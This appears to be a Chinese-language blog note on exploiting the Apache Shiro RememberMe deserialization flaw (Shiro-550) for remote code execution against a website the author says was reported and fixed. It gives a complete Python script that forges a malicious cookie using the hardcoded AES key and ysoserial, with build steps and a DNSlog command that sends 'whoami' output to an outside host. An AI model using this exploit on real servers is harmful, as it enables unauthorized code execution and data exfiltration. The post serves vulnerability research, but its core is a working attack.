Shiro RememberMe反序列化导致的RCE实战应用
- 2020 年 3 月 8 日
- 笔记
Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面将展示使用利用该漏洞对某网站进行检测。(现已提交漏洞并修复)

0x01漏洞原理简述
正常登录返回的cookie中获取到的remeberMe值Base64解码储存为二进制文件后发现存在AES加密,在CookieRememberMemanager.java的父类 AbstractRememberMeManager存在硬编码秘钥、对称加密方式泄露,且IV并没有正常启用,由于对称加密加密解密秘钥相同的特性,可伪造cookie实现RCE。(漏洞具体原理细节参考https://paper.seebug.org/shiro-rememberme-1-2-4/)

0x02工具准备
1.首先将以下代码保存为poc.py “` import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES
def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS – len(s) % BS) * chr(BS – len(s) % BS)).encode() key = “kPH+bIxk5D2deZiIxcaaaA==” mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open(“./payload.cookie”, “w”) as fpw: print(“rememberMe={}”.format(payload.decode()), file=fpw) “`

2.安装模块
脚本使用python3编写,建议使用pip3安装所需模块。

3.ysoserial的jar文件下载
“`
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
“`
随后将ysoserial-0.0.5-SNAPSHOT-all.jar文件放在和脚本相同的目录下即可,也可以去网上使用其他版本的jar文件,注意要与脚本中名称相同

0x03漏洞复现
1.首先访问一下我们的目标站点


在返回的Cookie中发现存在RememberMe=deleteME,可能存在漏洞。


2.随后利用Dnslog生成一个子域


3.接下来我们使用脚本生成Cookie 直接在脚本后添加想要执行的命令即可,例如:python3 ./poc.py “ping xxxx.dnslog.cn”


4.发包验证 随后我们将生成的payload.cookie中内容替换Cookie中的全部内容,发包


Refresh一下发现已经出现了流量记录,并可以看到是root权限。(这里我使用的命令是'ping `whoami`.xxxx.dnslog.cn')


0x04结语
本次的漏洞的产生根源是对称秘钥的信息泄露,复现中应注意秘钥存在多个版本,使用对应的秘钥即可成功RCE。
